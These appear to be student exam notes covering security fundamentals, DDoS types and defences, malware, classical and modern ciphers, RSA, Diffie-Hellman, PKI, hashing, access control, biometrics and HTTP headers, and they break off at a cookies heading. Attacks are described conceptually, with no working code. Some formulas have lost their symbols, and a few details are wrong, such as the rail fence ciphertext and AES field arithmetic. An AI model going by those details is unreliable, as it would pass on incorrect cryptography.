Information Security Exam Notes

Table of Contents

1. Introduction to Information Security
2. Network Attacks (DoS/DDoS)
3. Malware & Social Engineering
4. Classical Ciphers
5. DES & AES
6. RSA & Diffie-Hellman
7. Public Key Infrastructure (PKI)
8. Cryptographic System Standards
9. Cryptographic Hash Functions
10. Access Control Concepts
11. Biometric Systems
12. Web Security Fundamentals
13. HTTP/HTTPS & Cookies
14. SQL Injection
15. XSS & CSRF

# 1. Introduction to Information Security

CIA Triad

The three fundamental goals of information security:

Confidentiality - Ensuring information is accessible only to authorized parties - Preventing unauthorized disclosure - Methods: encryption, access controls, authentication

Integrity - Ensuring information is accurate and unmodified - Detecting unauthorized alterations - Methods: checksums, digital signatures, hash functions

Availability - Ensuring authorized users can access information when needed - Preventing service disruptions - Methods: redundancy, backups, DDoS protection

Additional Security Goals

- **Authentication**: Verifying identity of users/systems
- **Authorization**: Granting appropriate permissions
- **Non-repudiation**: Preventing denial of actions
- **Accountability**: Holding users responsible for actions

# 2. Network Attacks (DoS/DDoS)

Denial of Service (DoS) vs DDoS

DoS Attack - Single source attacking a target - Aims to make service unavailable - Limited scale

DDoS Attack - Multiple compromised systems (botnet) attacking simultaneously - Coordinated through Command & Control (C2) server - Much larger scale and harder to mitigate

Attack Types

1. Volumetric Attacks

- **Goal**: Consume bandwidth and network capacity
- **Examples**: UDP floods, ICMP floods
- **Characteristics**: High traffic volume

2. Protocol Attacks

- **Goal**: Exhaust server resources (connections, memory)
- **Examples**: SYN flood, fragmentation attacks
- **Characteristics**: Exploit protocol weaknesses

3. Application Layer Attacks

- **Goal**: Exhaust application resources
- **Examples**: HTTP flood, Slowloris
- **Characteristics**: Appear as legitimate traffic, hard to detect

Specific Attack Types

Smurf Attack - Attacker sends ICMP Echo requests to broadcast address - Source IP is spoofed to victim's IP - All hosts reply to victim (amplification effect) - Victim overwhelmed by ICMP Echo Replies

Ping of Death - Sends oversized ICMP packets exceeding maximum size (65,535 bytes) - Causes buffer overflow and system crash - Fragmented packets reassemble to dangerous size

UDP Flood - Sends large volume of UDP packets to random ports - Victim checks for applications at ports - Responds with ICMP "Destination Unreachable" - No connection state makes it effective

SYN Flood - Exploits TCP three-way handshake - Sends many SYN requests, never completes handshake - Server keeps half-open connections, exhausts resources

HTTP Flood - Application layer attack - Sends legitimate-looking HTTP requests - Exhausts web server resources - Hard to distinguish from real traffic

ARP Poisoning (for DDoS) - Sends fake ARP messages - Links attacker's MAC to victim's IP - Redirects traffic through attacker - Can be used to launch or amplify DDoS

DDoS Components

Botnet Architecture - **Bots/Zombies**: Compromised hosts performing attacks - **C2 Server**: Coordinates and controls bots - **Attacker**: Controls C2 server

Amplification Attacks - Use protocols like DNS, NTP, SNMP - Small request generates large response - UDP's connectionless nature commonly exploited - Response sent to spoofed victim IP

Defense Mechanisms

Ingress Filtering - Blocks packets with spoofed source IPs entering network - Validates source addresses - Prevents external spoofed attacks

Egress Filtering - Blocks outgoing packets with spoofed sources - Prevents internal hosts from launching spoofed attacks - Responsible network citizenship

Rate Limiting - Limits traffic flow to manageable levels - Effective against high-frequency floods - Sets thresholds for requests per time period

Throttling - Reduces traffic rate during high load - Maintains service at reduced capacity

Load Balancing - Distributes traffic across multiple servers - Improves availability during attacks - No single point of failure

TCP Intercept - Proxy for TCP handshakes - Mitigates SYN flood attacks - Completes handshake on behalf of server

Drop Requests - Configured during high load - Protects against resource exhaustion - Maintains core functionality

Layered Defense - Combine multiple techniques - Ingress filtering + rate limiting + load balancing - Addresses attacks at multiple network layers

---

# 3. Malware & Social Engineering Attacks

Malware Types

Virus - Attaches to legitimate files/programs - Requires host program execution - Replicates when host is run - Can damage, steal data, or spread

Worm - Self-replicating, independent program - Spreads without human interaction - Exploits network vulnerabilities - Can consume bandwidth and resources

Trojan Horse - Disguised as legitimate software - Does not self-replicate - Creates backdoors for attackers - Relies on user execution

Ransomware - Encrypts victim's files - Demands payment for decryption key - Examples: WannaCry, Cryptolocker

Spyware - Monitors user activity secretly - Collects sensitive information - Keyloggers, screen capture tools

Adware - Displays unwanted advertisements - May track browsing behavior - Often bundled with free software

Rootkit - Gains privileged access to system - Hides malicious activity - Very difficult to detect and remove

Botnet - Network of infected devices - Controlled remotely by attacker - Used for DDoS, spam, crypto mining

Social Engineering Attacks

Phishing - Fraudulent emails/messages - Impersonates trusted entities - Tricks users into revealing credentials - Links to fake websites

Spear Phishing - Targeted phishing attack - Personalized for specific individuals - Uses gathered information about victim

Whaling - Targets high-profile individuals (CEOs, executives) - High-value targets - More sophisticated attempts

Vishing - Voice phishing via phone calls - Impersonates banks, tech support - Exploits trust in voice communication

Smishing - SMS-based phishing - Text messages with malicious links - Exploits mobile device usage

Pretexting - Creates fabricated scenario - Manipulates victim into providing information - Builds trust through false identity

Baiting - Offers something enticing (free download, USB drive) - Victim takes bait, gets infected

Tailgating/Piggybacking - Physical security breach - Following authorized person into secure area

Quid Pro Quo - Offers service in exchange for information - Example: fake tech support

Defense Against Social Engineering

- Security awareness training
- Verify identities independently
- Be skeptical of unsolicited requests
- Check URLs before clicking

- Use multi-factor authentication
- Report suspicious activities

## 4. Classical Ciphers

Substitution Ciphers

Caesar Cipher - Shifts each letter by fixed number of positions - Example: Shift 3: A→D, B→E, C→F - Encryption: C = (P + k) mod 26 - Decryption: P = (C - k) mod 26 - Weakness: Only 26 possible keys (easy brute force)

Monoalphabetic Substitution - Each letter maps to another letter (fixed mapping) - 26! possible keys (huge keyspace) - Weakness: Vulnerable to frequency analysis - Letter frequencies remain (E is most common in English)

Polyalphabetic Substitution (Vigenère Cipher) - Uses multiple substitution alphabets - Keyword determines which alphabet to use - Each letter of keyword gives shift value - Example: Keyword "KEY" → shifts of 10, 4, 24 - More secure than monoalphabetic - Weakness: Repeating keyword creates patterns

Transposition Ciphers

Rail Fence Cipher - Write plaintext in zigzag pattern - Read off by rows - Example: "HELLO WORLD" with 3 rails `H . . . O . . . L .   . E . L . W . R . D   . . L . . . O . . . .` - Ciphertext: HOLEL WROLD

Columnar Transposition - Write plaintext in rows of fixed length - Read columns in order determined by key - More secure than rail fence

Breaking Classical Ciphers

Frequency Analysis - Analyze letter frequencies in ciphertext - Compare to known language frequencies - Effective against substitution ciphers

Kasiski Examination - Finds repeated sequences in Vigenère - Determines keyword length - Reduces to Caesar ciphers

Index of Coincidence - Measures text randomness - Helps determine if polyalphabetic

Modern Perspective

- Classical ciphers are **not secure** for real use
- Educational value only
- Modern encryption uses complex mathematical operations
- Computational security vs. unconditional security

## 5. DES & AES

Data Encryption Standard (DES)

Overview - Symmetric block cipher - Block size: 64 bits - Key size: 56 bits (64 bits with 8 parity bits) - Developed by IBM, standardized 1977 - Now considered **insecure** (brute force possible)

DES Structure - **Feistel Network** design - 16 rounds of encryption - Initial Permutation (IP) - 16 rounds of: - Expansion - Key mixing (XOR with round key) - Substitution (S-boxes) - Permutation - Final Permutation (IP ^{1})

Key Schedule - Generates 16 round keys from main key - PC-1: Permuted Choice 1 (selects 56 bits) - Split into left and right halves (C , D) - Each round: rotate left 1 or 2 positions - PC-2: Permuted Choice 2 (selects 48 bits for round key)

S-Boxes (Substitution Boxes) - Core of DES security - 8 S-boxes, each maps 6 bits $\rightarrow$ 4 bits - Non-linear transformation - Provides confusion

Weaknesses of DES - 56-bit key too short (brute force in hours) - Vulnerable to differential cryptanalysis - Weak keys exist (produce same ciphertext)

Triple DES (3DES) - Uses DES three times with different keys - EDE mode: Encrypt-Decrypt-Encrypt - Effective key length: 168 bits (or 112 bits) - More secure but slower - Being phased out for AES

Advanced Encryption Standard (AES)

Overview - Symmetric block cipher - Block size: 128 bits - Key sizes: 128, 192, or 256 bits - Adopted as standard in 2001 - Based on Rijndael cipher - Currently the **most widely used** encryption

AES Structure - **Substitution-Permutation Network** (not Feistel) - Number of rounds depends on key size: - AES-128: 10 rounds - AES-192: 12 rounds - AES-256: 14 rounds

State Matrix - 128-bit block arranged as 4×4 matrix of bytes - Operations performed on this state

Round Operations

1. **SubBytes**
    - Non-linear substitution using S-box
    - Each byte replaced independently
    - Provides confusion
2. **ShiftRows**
    - Cyclically shifts rows of state
    - Row 0: no shift
    - Row 1: shift left 1
    - Row 2: shift left 2

    - Row 3: shift left 3
    - Provides diffusion
3. **MixColumns**
    - Linear mixing of columns
    - Matrix multiplication in GF(2)
    - Each column treated independently
    - Provides diffusion
    - **Skipped in final round**
4. **AddRoundKey**
    - XOR state with round key
    - Provides key mixing
    - Performed in every round (including first and last)

AES Round Structure - Initial Round: AddRoundKey only - Middle Rounds: SubBytes → ShiftRows → MixColumns → AddRoundKey - Final Round: SubBytes → ShiftRows → AddRoundKey (no MixColumns)

AES Key Expansion

Purpose - Generate round keys from original cipher key - AES-128: generates 11 round keys (176 bytes total) - AES-192: generates 13 round keys - AES-256: generates 15 round keys

Key Expansion Process (AES-128)

1. Original key: 16 bytes = 4 words (W[0] to W[3])
2. Generate 40 more words (W[4] to W[43])

For each new word W[i]:

- **If i is multiple of 4:**

    1. Take previous word W[i-1]
    2. **RotWord**: Circular left shift by 1 byte
    3. **SubWord**: Apply S-box to each byte
    4. **XOR with Rcon[i/4]**: Round constant
    5. **XOR with W[i-4]**

    ```
    W[i] = W[i-4]   SubWord(RotWord(W[i-1]))   Rcon[i/4]
    ```

- **If i is not multiple of 4:**

    ```
    W[i] = W[i-4]   W[i-1]
    ```

Round Constants (Rcon) - Used in key expansion - Rcon[i] = [RC[i], 0x00, 0x00, 0x00] - RC[1] = 0x01, RC[2] = 0x02, RC[3] = 0x04, … - Each RC[i] = RC[i-1] × 2 in GF(2)

Key Expansion for AES-192 and AES-256 - Similar process but with modifications - AES-256 has additional SubWord for certain positions

DES vs AES Comparison

Feature	DES	AES
Block Size	64 bits	128 bits
Key Size	56 bits	128/192/256 bits
Structure	Feistel	SPN
Rounds	16	10/12/14
Security	Broken	Secure
Speed	Slower	Faster
Design	1970s	2000s

## 6. RSA & Diffie-Hellman

RSA (Rivest-Shamir-Adleman)

Type: Asymmetric (Public Key) Cryptography

Key Concepts - Two keys: Public key (e, n) and Private key (d, n) - Public key can be shared openly - Private key must be kept secret - Based on difficulty of factoring large numbers

RSA Key Generation

1. **Choose two large prime numbers**: p and q
2. **Compute n**: n = p × q (modulus)
3. **Compute (n)**: (n) = (p-1)(q-1) (Euler's totient)
4. **Choose e**: 1 < e < (n), gcd(e, (n)) = 1 (public exponent)
   - Common values: 3, 17, 65537
5. **Compute d**: d   e ^{1} mod (n) (private exponent)
   - d × e   1 mod (n)

Keys - Public Key: (e, n) - Private Key: (d, n)

RSA Encryption

`Ciphertext C = M^e mod n`

- M is plaintext message (M < n)
- C is ciphertext

RSA Decryption

`Plaintext M = C^d mod n`

RSA Digital Signature - Signing: Signature S = M^d mod n (use private key) - **Verification**: M = S^e mod n (use public key) - Provides authentication and non-repudiation

RSA Security - Security based on difficulty of factoring n = p × q - If attacker factors n, they can compute d - Recommended key size: 2048 bits minimum (4096 for high security)

RSA Usage - Key exchange (hybrid cryptosystems) - Digital signatures - Not typically used for bulk encryption (too slow)

Example (Small Numbers)

```
p = 3, q = 11
n = 33,  (n) = 20
e = 3 (gcd(3,20) = 1)
d = 7 (since 3×7 = 21   1 mod 20)

Encrypt M=2: C = 2³ mod 33 = 8
Decrypt C=8: M = 8  mod 33 = 2
```

Diffie-Hellman Key Exchange

Type: Key Agreement Protocol

Purpose - Allows two parties to establish shared secret over insecure channel - No prior shared secret needed - Vulnerable to man-in-the-middle without authentication

Protocol Steps

Public Parameters (known to everyone): - **p**: Large prime number - **g**: Generator (primitive root mod p)

Key Exchange Process:

1. **Alice**:
   - Chooses private key: **a** (random)
   - Computes public value: **A = g^a mod p**
   - Sends A to Bob
2. **Bob**:
   - Chooses private key: **b** (random)
   - Computes public value: **B = g^b mod p**
   - Sends B to Alice
3. **Alice computes shared secret**:
   - **K = B^a mod p = (g$^{b)}$a mod p = g^(ab) mod p**
4. **Bob computes shared secret**:
   - **K = A^b mod p = (g$^{a)}$b mod p = g^(ab) mod p**

Result: Both have same shared secret K = g^(ab) mod p

Security - Based on discrete logarithm problem - Hard to compute a from A = g^a mod p - Even knowing p, g, A, and B, computing g^(ab) is hard

Vulnerability - Man-in-the-Middle Attack - Attacker intercepts and establishes separate keys with each party - No authentication of parties - Solution: Use with digital signatures or certificates

Example (Small Numbers)

```
Public: p = 23, g = 5

Alice: a = 6 (secret)
       A = 5  mod 23 = 8 (public)

Bob:   b = 15 (secret)
       B = 5¹  mod 23 = 19 (public)

Shared Secret:
Alice: K = 19  mod 23 = 2
Bob:   K = 8¹  mod 23 = 2
```

RSA vs Diffie-Hellman

Feature	RSA	Diffie-Hellman
Purpose	Encryption & Signatures	Key Exchange
Keys	Public/Private pair	Shared secret
Mathematical Basis	Factoring	Discrete Logarithm
Direct Encryption	Yes	No
Authentication	Built-in (signatures)	Requires additional mechanism
Speed	Slower	Faster

Hybrid Cryptosystems

- Use asymmetric crypto (RSA/DH) to exchange symmetric key
- Use symmetric crypto (AES) for bulk data encryption
- Best of both: security of public key + speed of symmetric

## 7. Public Key Infrastructure (PKI)

PKI Overview

Purpose - Manages digital certificates and public keys - Enables secure communications and authentication - Provides framework for trust in digital world

Core Components

1. **Certificate Authority (CA)**
   - Trusted entity that issues digital certificates
   - Verifies identity before issuing certificates
   - Signs certificates with its private key
   - Examples: DigiCert, Let's Encrypt, VeriSign
2. **Registration Authority (RA)**
   - Acts as intermediary between users and CA
   - Verifies user identity and certificate requests
   - Does not sign certificates (CA does that)
3. **Certificate Repository**
   - Stores issued certificates
   - Publicly accessible directory
4. **Certificate Revocation List (CRL)**
   - List of revoked certificates
   - Published by CA
   - Checked before trusting a certificate
5. **Validation Authority (VA)**
   - Verifies certificate validity in real-time
   - Uses protocols like OCSP

Digital Certificates

X.509 Certificate Standard - Most common certificate format - Contains: - **Subject**: Certificate owner's identity - **Public Key**: Owner's public key - **Issuer**: CA that signed certificate - **Validity Period**: Start and end dates - **Serial Number**: Unique identifier - **Signature Algorithm**: Algorithm used by CA - **Digital Signature**: CA's signature

Certificate Chain - Root CA (self-signed) - Intermediate CAs - End-entity certificate - Trust flows from root to end entity

Certificate Lifecycle

1. Certificate Request - User generates key pair - Creates Certificate Signing Request (CSR) - Sends CSR to RA/CA

2. Validation - RA verifies user identity - Domain validation, organization validation, or extended validation

3. Issuance - CA signs certificate - Certificate published to repository

4. Usage - Certificate used for SSL/TLS, email signing, code signing, etc.

5. Renewal - Before expiration, request new certificate

6. Revocation - Certificate invalidated before expiration - Reasons: key compromise, CA compromise, change of affiliation - Added to CRL or OCSP responder

Certificate Validation

Certificate Revocation List (CRL) - List of revoked certificate serial numbers - Periodically downloaded by clients - Can be large and outdated

Online Certificate Status Protocol (OCSP) - Real-time certificate status checking - Client queries OCSP responder - Response: good, revoked, or unknown - More efficient than CRL

OCSP Stapling - Server queries OCSP and caches response - Server "staples" OCSP response to TLS handshake - Reduces client overhead - Improves privacy

Trust Models

Hierarchical Trust Model - Single root CA at top - Intermediate CAs below - Tree structure - Used in most PKI deployments

Web of Trust - Decentralized model - Users sign each other's keys - Trust is transitive - Used by PGP/GPG

Bridge CA - Connects different PKI hierarchies - Cross-certification between CAs

PKI Applications

1. **SSL/TLS (HTTPS)**
    - Server authentication
    - Encrypted communications
    - Most common PKI use
2. **Email Security (S/MIME, PGP)**
    - Email encryption
    - Digital signatures
3. **Code Signing**
    - Verifies software authenticity
    - Ensures code hasn't been modified
4. **VPN Authentication**
    - Certificate-based VPN access
5. **Document Signing**
    - Digital signatures on PDFs, contracts
6. **Smart Cards**
    - Store certificates for authentication

PKI Security Considerations

Threats - CA compromise (catastrophic) - Private key theft - Certificate misissuance - Man-in-the-middle attacks

Mitigations - Certificate pinning - Certificate transparency logs - Multi-factor authentication for certificate requests - Hardware Security Modules (HSM) for CA keys - Regular audits

---

# 8. Cryptographic System Standards

SSL/TLS (Secure Sockets Layer / Transport Layer Security)

Evolution - SSL 1.0: Never released - SSL 2.0: Released 1995, now deprecated (insecure) - SSL 3.0: Released 1996, deprecated 2015 (POODLE attack) - TLS 1.0: Released 1999, deprecated 2020 - TLS 1.1: Released 2006, deprecated 2020 - **TLS 1.2**: Released 2008, widely used - **TLS 1.3**: Released 2018, current standard

Purpose - Provides secure communication over networks - Encrypts data in transit - Authenticates server (and optionally client)

TLS Handshake (Simplified) 1. **Client Hello**: Client sends supported cipher suites, TLS version 2. **Server Hello**: Server chooses cipher suite, sends certificate 3. **Key Exchange**: Using RSA or Diffie-Hellman 4. **Finished**: Both sides verify handshake integrity 5. **Encrypted Communication**: Using negotiated symmetric key

TLS 1.3 Improvements - Faster handshake (fewer round trips) - Removed weak cipher suites - Forward secrecy required - Encrypted handshake messages

IPsec (Internet Protocol Security)

Purpose - Secures IP communications at network layer - Encrypts and authenticates IP packets - Used for VPNs

Components 1. **Authentication Header (AH)** - Provides authentication and integrity - No encryption

2. **Encapsulating Security Payload (ESP)**
   - Provides authentication, integrity, and encryption
   - Most commonly used

Modes - **Transport Mode**: Encrypts only payload - **Tunnel Mode**: Encrypts entire IP packet (VPNs)

Key Exchange: Uses IKE (Internet Key Exchange) protocol

SSH (Secure Shell)

Purpose - Secure remote login and command execution - Encrypted communication channel - Replaces insecure protocols (Telnet, rlogin)

Features - Authentication (password or public key) - Encryption of session - Port forwarding / tunneling - File transfer (SCP, SFTP)

Port: TCP 22

PGP/GPG (Pretty Good Privacy / GNU Privacy Guard)

Purpose - Email encryption and signing - File encryption - Uses web of trust model

Features - Asymmetric encryption (RSA, ElGamal) - Symmetric encryption (AES) - Digital signatures - Key management

S/MIME (Secure/Multipurpose Internet Mail Extensions)

Purpose - Email security standard - Alternative to PGP - Uses PKI and certificates

Features - Message encryption - Digital signatures - Certificate-based trust

WPA/WPA2/WPA3 (Wi-Fi Protected Access)

WEP (Wired Equivalent Privacy) - Original Wi-Fi security - Severely broken, easily cracked

WPA - Improved over WEP - Uses TKIP encryption

WPA2 - Current standard (since 2004) - Uses AES encryption - CCMP (Counter Mode CBC-MAC Protocol)

WPA3 - Latest standard (2018) - Stronger encryption (192-bit) - Protection against brute force - Forward secrecy - Simplified configuration

HTTPS (HTTP Secure)

Definition - HTTP over TLS/SSL - Encrypts web traffic - Authenticates web server

Benefits - Confidentiality of data - Integrity of data - Authentication of server - SEO benefits (Google ranking)

Indicators - Padlock icon in browser - URL starts with https:// - Certificate information available

---

# 9. Cryptographic Hash Functions

Hash Function Properties

Definition - Takes arbitrary-length input - Produces fixed-length output (hash/digest) - One-way function (can't reverse)

Required Properties

1. **Deterministic**
    - Same input always produces same hash
2. **Pre-image Resistance** (One-way)

    - Given hash h, computationally infeasible to find message m where h = H(m)
    - Can't reverse hash to get original message
3. **Second Pre-image Resistance** (Weak Collision Resistance)
    - Given message m , infeasible to find different m where H(m) = H(m)
    - Can't find another message with same hash
4. **Collision Resistance** (Strong Collision Resistance)
    - Infeasible to find any two messages m   m where H(m) = H(m)
    - Can't find any two messages with same hash
5. **Avalanche Effect**
    - Small change in input causes large change in output
    - One bit change → ~50% of output bits change

Common Hash Algorithms

MD5 (Message Digest 5) - Output: 128 bits - **Broken**: Collisions can be found - **DO NOT USE** for security - Still used for checksums (non-security)

SHA-1 (Secure Hash Algorithm 1) - Output: 160 bits - **Broken**: Collisions demonstrated (2017) - **Deprecated** for security use - Being phased out

SHA-2 Family - **SHA-224**: 224 bits - **SHA-256**: 256 bits (most common) - **SHA-384**: 384 bits - **SHA-512**: 512 bits - **Currently secure** and widely used - Different output sizes for different security needs

SHA-3 - Output: 224, 256, 384, or 512 bits - Different internal structure than SHA-2 - Based on Keccak algorithm - Approved as standard in 2015

Hash Function Applications

1. Password Storage

```
Store: H(password) not password
Verify: H(entered_password) == stored_hash
```

- Never store passwords in plaintext
- Use salting to prevent rainbow tables
- Use slow hash functions (bcrypt, scrypt, Argon2)

2. Digital Signatures - Sign hash of message instead of entire message - More efficient than signing large documents

```
Signature = Encrypt(H(message), private_key)
```

3. Message Authentication Codes (MAC) - HMAC: Hash-based MAC - Verifies both integrity and authenticity

```
HMAC = H(K || H(K || message))
```

- K is shared secret key

4. Data Integrity - File checksums - Detect accidental corruption - Verify downloads

5. Blockchain - Proof of work uses hash functions - Each block contains hash of previous block - Creates immutable chain

6. Certificate Fingerprints - Hash of certificate for verification - Enables certificate pinning

Salt and Pepper

Salt - Random value added to password before hashing - Unique salt per user - Stored with hash - Prevents rainbow table attacks - Prevents identifying users with same password

`stored_hash = H(password || salt)`

Pepper - Secret value added to all passwords - Same pepper for all users - NOT stored in database - Additional layer of security - Stored separately (code, config, HSM)

`stored_hash = H(password || salt || pepper)`

Rainbow Tables - Precomputed hash tables - Maps common passwords to hashes - Defeated by salting

Password Hashing Functions

bcrypt - Based on Blowfish cipher - Computationally expensive (intentional) - Built-in salt generation - Adjustable work factor - Resistant to GPU attacks

scrypt - Memory-hard function - Resistant to hardware attacks - High memory requirement - Used in cryptocurrency

Argon2 - Winner of Password Hashing Competition (2015) - Most recommended for new applications - Resistant to GPU and ASIC attacks - Variants: Argon2d, Argon2i, Argon2id

Why Slow Hashing? - Slows down brute force attacks - Negligible impact on legitimate users - Attacker must spend time on each attempt

---

# 10. Access Control Concepts

Four A's of Access Control

1. Identification - Question: "Who are you?" - User claims an identity (username, employee ID) - No verification yet - First step in access process

2. Authentication - Question: "Prove who you are" - Verifies claimed identity - Methods: - **Something you know**: Password, PIN - **Something you**

have: Smart card, token, phone - **Something you are**: Biometrics (fingerprint, face) - **Somewhere you are**: Location-based - **Something you do**: Behavior patterns

Multi-Factor Authentication (MFA) - Combines 2+ authentication factors - More secure than single factor - Example: Password + SMS code

3. Authorization - **Question**: "What are you allowed to do?" - Grants permissions after authentication - Defines access rights to resources - Based on user role, clearance, or attributes

4. Accountability - **Question**: "What did you do?" - Holding users responsible for actions - Implemented through: - **Auditing**: Logging activities - **Monitoring**: Reviewing logs - **Non-repudiation**: Can't deny actions

Non-Repudiation - User cannot deny performing an action - Achieved through: - Digital signatures - Audit logs - Biometrics (hard to share) - Timestamps

Access Control Models

1. Discretionary Access Control (DAC) - **Owner** decides who can access resource - Flexible and user-friendly - Users can pass access rights to others - **Weakness**: Vulnerable to insider threats and Trojan horses - Examples: File permissions in Windows/Linux

Characteristics: - Resource owner has full control - Identity-based access decisions - Access Control Lists (ACLs) - Easy to implement

2. Mandatory Access Control (MAC) - **System** enforces access based on security labels - Centralized policy enforcement - Users cannot change access permissions - **Strongest** against insider threats - Examples: Military systems, SELinux

Characteristics: - Security labels (classifications): Top Secret, Secret, Confidential, Unclassified - Clearance levels for users - "No read up, no write down" (Bell-LaPadula) - Cannot bypass or delegate permissions

MAC Example: - User with "Secret" clearance tries to access "Top Secret" document - **Access denied** by system policy (not by owner)

3. Role-Based Access Control (RBAC) - Access based on **user's role** in organization - Users assigned to roles - Roles have permissions - Simplifies management - Examples: Database admin, HR manager, developer

Characteristics: - Scalable for large organizations - Supports separation of duties - Easier to audit - Best supports **Least Privilege**

RBAC Components: - Users $\rightarrow$ assigned to $\rightarrow$ Roles $\rightarrow$ have $\rightarrow$ Permissions $\rightarrow$ on $\rightarrow$ Resources

4. Attribute-Based Access Control (ABAC) - Access based on **attributes** (user, resource, environment) - Very flexible and granular - Policy-driven - Examples: Access allowed only during business hours from office location

Attributes: - User attributes: role, department, clearance - Resource attributes: classification, owner, type - Environment attributes: time, location, threat level

Principle of Least Privilege (PoLP)

Definition - Users/processes get **only minimum access** needed to perform their job - No more, no less - Reduces attack surface

Benefits: - Limits damage from compromised accounts - Reduces insider threat impact - Contains malware spread - Simplifies auditing

Violations: - Admin rights for standard tasks - Excessive database permissions - Service accounts with full privileges - Developer with production access

Implementation: - Just-in-time access - Time-limited elevated privileges - Regular access reviews - Default deny policies

Example Violation: - Developer given database-admin rights to debug UI bug - Only needed read access to one table - Violates least privilege

Malware Containment: - If user account has limited privileges - Malware can only damage what user can access - Cannot install rootkits or modify system files

Separation of Duties

Definition - No single person controls entire critical process - Requires collusion to commit fraud - Reduces insider threat

Examples: - Requires two people to launch nuclear missile - Developer cannot deploy to production - One person initiates payment, another approves

---

## 11. Biometric Systems

Biometric Operations

1. Enrollment - User's biometric trait is captured - Template created and stored in database - Registration process

2. Verification (1:1 Comparison) - User claims identity (presents ID card) - System compares presented biometric with stored template for that identity - **One-to-one comparison** - Example: Passport control - compare fingerprint to passport record - Faster and more accurate

3. Identification (1:N Comparison) - User does NOT claim identity - System compares presented biometric against **all** stored templates - **One-to-many comparison** - Example: Finding criminal in database of 500,000 citizens - Slower and less accurate

Biometric Errors

False Acceptance Rate (FAR) - Impostor accepted as legitimate user - Type II error - More dangerous in security contexts - Probability per single comparison

False Rejection Rate (FRR) - Legitimate user rejected - Type I error - Causes inconvenience - Probability per single comparison

Crossover Error Rate (CER) / Equal Error Rate (EER) - Point where FAR = FRR - Used to compare biometric systems - Lower CER = better system

FAR in Different Modes

Key Concept: FAR is per comparison

Verification Mode (1:1) - Only 1 comparison - FAR_total = FAR_per_match - Lower overall false acceptance probability

Identification Mode (1:N) - N comparisons (N = database size) - FAR_total N × FAR_per_match (for small FAR) - Higher overall false acceptance probability - **Risk increases with database size**

Formula (approximation for small FAR):

```
P(at least one false acceptance)  N × FAR_per_match
```

More accurate formula:

```
P(no false acceptance) = (1 - FAR)^N
P(at least one FA) = 1 - (1 - FAR)^N
```

Biometric Calculations

Example 1: FAR = 0.0001% per match, Database = 500,000

```
P(at least one FA)  500,000 × 0.000001 = 0.5 = 50%
```

Example 2: FAR = 0.00001 per match, Database = 200,000

```
P(at least one FA)  200,000 × 0.00001 = 2 = 200%
Actually: 1 - (0.99999)^200000  86.5%
Approximate: 200,000 × 0.00001 = 2 = 200% (overestimates but shows risk is high)
```

Example 3: Expected false acceptances if FAR = 0.0001, attempts = 1,000

```
Expected FA = 1,000 × 0.0001 = 0.1 false acceptances
```

Example 4: FRR = 2%, legitimate users = 5,000

```
Expected rejections = 5,000 × 0.02 = 100 users rejected
```

Threshold Tuning

Matching Threshold: Determines how closely biometric must match

Lower Threshold (More Lenient) - FAR increases (more false acceptances) - FRR decreases (fewer false rejections) - More user-friendly, less secure

Higher Threshold (More Strict) - FAR decreases (fewer false acceptances) - FRR increases (more false rejections) - More secure, less user-friendly

Trade-off: Cannot minimize both simultaneously

Biometric Scenarios

Blacklist System (50 criminals) - Identification mode (1:N where N=50) - False acceptance: Criminal allowed through - **Very dangerous** - security breach - Should minimize FAR

Whitelist System (100 VIPs) - Identification mode (1:N where N=100) - False acceptance: Unauthorized person gets privileges - False rejection: VIP delayed/denied - Balance needed

Airport Immigration - Verification mode (passport + biometric) - False acceptance: Impostor enters country - False rejection: Traveler inconvenienced - **Prioritize low FAR** (security over convenience)

Office Attendance - Verification mode - False acceptance: Wrong person marked present - False rejection: Employee has to retry - **Can tolerate higher FAR** - not high security

Security Implications

Most Dangerous: False Acceptance in high-security scenarios - Airport security - Border control - Military facilities

Most Inconvenient: False Rejection in high-volume scenarios - Airport queues - Office entry during rush hour

Biometric + Audit Logs - Strengthens accountability - Non-repudiation (hard to deny) - Biometrics difficult to share unlike passwords

Why Biometrics Strengthen Non-Repudiation: - Can't easily share fingerprint - Can't claim "someone stole my fingerprint" like password - Physical presence required

---

## 12. Web Security Fundamentals

Security Goals in Web Context

Confidentiality - Preventing unauthorized access to data - Encryption of data in transit (HTTPS) - Access controls on web applications

Integrity - Ensuring data not altered in transit - Detecting tampering - HTTPS provides integrity checks

Availability - Website accessible when needed - Protection against DDoS - Load balancing and redundancy

Authentication - Verifying user identity - Login systems - Session management

Authorization - Controlling access to resources - Role-based access - Permission checks

HTTP vs HTTPS

HTTP (HyperText Transfer Protocol) - **Port 80** - Sends data in **plaintext** - No encryption - Vulnerable to: - Eavesdropping - Man-in-the-middle attacks - Data modification - Should **NOT** be used for sensitive data

HTTPS (HTTP Secure) - **Port 443** - HTTP over **TLS/SSL** - Provides: - **Encryption**: Data confidentiality - **Authentication**: Server identity verified - **Integrity**: Tampering detection - Visual indicators: Padlock icon, https:// in URL

What HTTPS Does NOT Protect: - Application vulnerabilities (SQL injection, XSS) - Malware on client/server - Phishing attacks - Poor password choices - Mixed content issues

HTTP Methods

GET - Retrieves data from server - Parameters in URL: `example.com/page?id=5&name=John` - **Visible in**: - Browser history - Server logs - Proxy logs - Bookmarks - Should be idempotent (no side effects) - **Never use for sensitive data** (passwords, credit cards)

POST - Sends data in request body - Not visible in URL - Can send larger amounts of data - Used for: - Form submissions - Login credentials - File uploads - More secure than GET (but still needs HTTPS)

Other Methods: - PUT: Update resource - DELETE: Remove resource - PATCH: Partial update - HEAD: Get headers only - OPTIONS: Get allowed methods

HTTP Headers

Host - Specifies domain name of server - Required in HTTP/1.1 - Example: `Host: www.example.com`

User-Agent - Identifies client software (browser) - Example: `User-Agent: Mozilla/5.0...` - Used for: - Browser compatibility - Analytics - Bot detection

Referer (note spelling) - URL of page that linked to current request - Example: `Referer: https://google.com` - Privacy concern: Leaks browsing history - Can be spoofed or omitted

Cookie - Sends cookies from client to server - Example: `Cookie: sessionid=abc123; user=john`

Set-Cookie - Server sets cookie on client - Example: `Set-Cookie: sessionid=abc123; Secure; HttpOnly`

Authorization - Carries authentication credentials - Example: `Authorization: Bearer <token>` - Used for API authentication

Accept - Media types client can process - Example: `Accept: text/html, application/json`

Content-Type - Media type of request/response body - Example: `Content-Type: application/json`

## 13. HTTP/HTTPS & Cookies

HTTP Statelessness

Stateless Protocol - Each request is independent - Server doesn't remember previous requests - No built-in session memory

Problem: How to maintain user sessions? - Shopping carts - Login status - User preferences - Personalization

Solutions: 1. Cookies 2. Session IDs 3. Hidden form fields 4. URL parameters 5. Browser storage (localStorage, sessionStorage)

Cookies

